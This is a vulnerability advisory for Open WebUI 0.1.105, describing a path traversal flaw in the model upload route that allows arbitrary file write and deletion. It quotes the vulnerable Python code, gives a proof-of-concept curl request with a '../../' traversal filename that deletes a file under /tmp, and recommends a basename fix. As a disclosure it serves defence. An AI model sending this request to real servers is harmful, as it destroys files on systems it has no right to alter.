PT-2026-59379 · Pypi · Open-Webui

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

8.1

Alta

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
** CONFIDENTIAL **

Vulnerability Disclosure Analysis Documentation

Vulnerability Details

  1. Discoverer: Taylor Pennington of KoreLogic, Inc.
  2. Date Submitted: June 11, 2024
  3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal
  4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted.
  5. Affected Vendor: Open WebUI
  6. Affected Product(s): Open WebUI (Formerly Ollama WebUI)
  7. Affected Version(s): 0.1.105
  8. Platform/OS: Debian GNU/Linux 12 (bookworm)
  9. Vector: HTTP web interface
  10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  11. Technical Analysis:
When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.
The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.
This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):
def upload model(file: UploadFile = File(...), url idx: Optional[int] = None):
if url idx == None:
  url idx = 0
ollama url = app.state.OLLAMA BASE URLS[url idx]

file path = f"{UPLOAD DIR}/{file.filename}"

# Save file in chunks
with open(file path, "wb+") as f:
  for chunk in file.file:
    f.write(chunk)

def file process stream():
  nonlocal ollama url
  total size = os.path.getsize(file path)
  chunk size = 1024 * 1024
  try:
    with open(file path, "rb") as f:
      total = 0
      done = False

      while not done:
        chunk = f.read(chunk size)
        if not chunk:
          done = True
          continue

        total += len(chunk)
        progress = round((total / total size) * 100, 2)

        res = {
          "progress": progress,
          "total": total size,
          "completed": total,
        }
        yield f"data: {json.dumps(res)}

"

      if done:
        f.seek(0)
        hashed = calculate sha256(f)
        f.seek(0)

        url = f"{ollama url}/api/blobs/sha256:{hashed}"
        response = requests.post(url, data=f)

        if response.ok:
          res = {
            "done": done,
            "blob": f"sha256:{hashed}",
            "name": file.filename,
          }
          os.remove(file path)
          yield f"data: {json.dumps(res)}

"
        else:
          raise Exception(
            "Ollama: Could not create blob, Please try again."
          )

  except Exception as e:
    res = {"error": str(e)}
    yield f"data: {json.dumps(res)}

"

return StreamingResponse(file process stream(), media type="text/event-stream")
The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, os.remove(file path).
This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over.
It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated.
  1. Proof-of-Concept:
First, create a file under the /tmp directory named DELETE ME while logged in as the user account of the web application or chown the file to be owned by the open-webui user.
# su ollama
# touch /tmp/DELETE ME
Execute the following cURL command after replacing the exported JWT value for a valid user session:
export JWT="JWT HERE"; curl -s -X $'POST' 
-H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' 
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gWx0dx0aContent-Disposition: form-data; name="file"; filename="../../../../../../../tmp/DELETE ME"x0dx0aContent-Type: image/pngx0dx0ax0dx0ax0dx0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' 
$'https://openwebui.example.com/ollama/models/upload'
Verify that /tmp/DELETE ME has been deleted.
  1. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to:
filename = os.path.basename(file.filename)
file path = f"{UPLOAD DIR}/{filename}"

Correção

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Identificadores relacionados

PYSEC-2026-2737

Produtos afetados

Open-Webui